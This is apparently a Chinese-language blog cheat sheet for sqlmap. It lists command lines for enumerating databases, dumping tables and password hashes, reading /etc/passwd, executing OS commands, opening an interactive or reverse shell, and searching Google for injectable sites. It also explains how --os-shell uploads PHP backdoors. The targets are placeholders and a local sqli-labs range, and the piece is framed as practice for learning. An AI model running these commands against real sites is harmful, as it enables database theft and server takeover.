SQLMAP
SQLMAP
SQLMAP就是针对SQL注入漏洞的检测和利用工具
常见使用
python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
python sqlmap/sqlmap.py -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行测试等级
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型
python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列数据库用户
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列数据库
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #数据库用户密码
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #查看权限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #查看指定用户权限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员
python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚举数据库用户角色
python sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查询表记录
python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入
python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #获取banner信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入
python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #执行指定sql命令
python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd
python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令
python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系统交互shell
python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反弹shell
python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #读取win系统注册表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password
这里我就不贴图看效果了,可以通过sqlilabs靶场等多多练习,熟练掌握常见参数的使用方法(上面的是我从别处引用的,其实在此之前我都没怎么用sqlmap,惭愧啊)
特定参数原理
os-shell原理
原理就是上传后门。
操作步骤:
执行语句:python sqlmap.py -u “http://127.0.0.1/sqlilabs/less-3/?id=3” --os-shell
1.选择脚本解析格式。(这里我使用的是sqlilab靶场,使用选4)
2.选择上传路径(绝对路径),一种情况是sqlmap自己爆出来,二是用户定义,手动输入。
3.返回os-shell。可以看到sqlmap中在用户定义的路径下,上传了两个PHP文件。同样在路径目录下也确实看到了这两个文件。
问题?
1.–os-shell,条件
file权限(mysql5.7以后secure_file_priv默认为null,不可以写入,为“”表示可以写入任意位置)
绝对路径
php gpc off(魔术引号)等过滤关闭或者没有过滤
2.为什么要上传两个文件?
首先一个文件为支持文件上传功能的php文件,另一个是通过该上传php上传的php后门文件。
我个人觉得绕过一些过滤,兼容性更好吧,其实完全可以只上传一个文件。
当我们退出后os-shell,这两个文件会自动删除(强,直接可以擦屁股)。
总结
工具使用,不仅可以体现出对漏洞原理的理解,更可以体现对漏洞利用的,和全局的掌控。
切勿浮躁!!!!!!!!!!多看多练多思考,你虽然不能站在顶端,但你一直在往上走,这就够了